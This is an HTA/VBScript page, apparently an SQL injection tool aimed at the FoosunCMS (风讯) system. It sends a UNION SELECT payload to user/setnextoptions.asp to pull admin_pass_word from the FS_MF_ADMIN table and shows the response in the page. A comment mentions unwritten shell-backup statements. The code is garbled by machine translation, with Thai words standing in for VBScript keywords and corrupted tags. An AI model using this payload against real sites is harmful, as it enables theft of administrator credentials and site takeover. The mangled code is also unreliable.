<scriptLanguage = "vbscript">
subwindow_onload
window.resizeto450,380
window.moveto300,300
enddub
</script>
<scriptLanguage = "vbscript">
FunctionGetHttppage (เส้นทาง)
t = getBody (เส้นทาง)
gethttppage = bytestobstr (t, "GB2312")
document.getElementById ("url"). innerText = gethttppage
endfunction
</script>
<scriptLanguage = "vbscript">
FunctionGetBody (URL)
onerrorresumenext
setRetrieval = createObject ("microsoft.xmlhttp"))
เกี่ยวกับการแก้ไข
.Open "Get", url, false, "", ""
.ส่ง
getBody = .ResponseBody
จบลงด้วย
setRetrieval = ไม่มีอะไร
endfunction
FunctionByTestobstr (Body, CSET)
dimobjstream
setObjstream = createObject ("adodb.stream")
objstream.type = 1
objstream.mode = 3
objstream.open
objstream.writebody
objstream.position = 0
objstream.type = 2
objstream.charset = cset
bytestobstr = objstream.readText
objstream.close
setObjstream = ไม่มีอะไร
endfunction
</script>
<title> bylcx </title>
<อินพุต = "urlCode" name = "urlCode" size = "60" value = "http: // 风讯 url/user/setnextoptions.asp">
<selectId = "SQL" name = "SQL" onChange = VBS: GETHTTPPAGE (document.getElementById ("urlCode") ค่า+document.getElementById ("SQL")
<optiveValue = ""> 风讯 SQL 版注入， 至于其它备份เชลล์的语句懒得写了 </petion>
<optiveValue = "? equvalue = 1 & reqsql = เลือก%201, admin_pass_word, 3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,24,24,24,26,26,26,26,26,26,26, 28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,42,43,44,45,46,47,48,49,50,51%20 จาก 20FS_MF_ADMIN%20ID = 1-")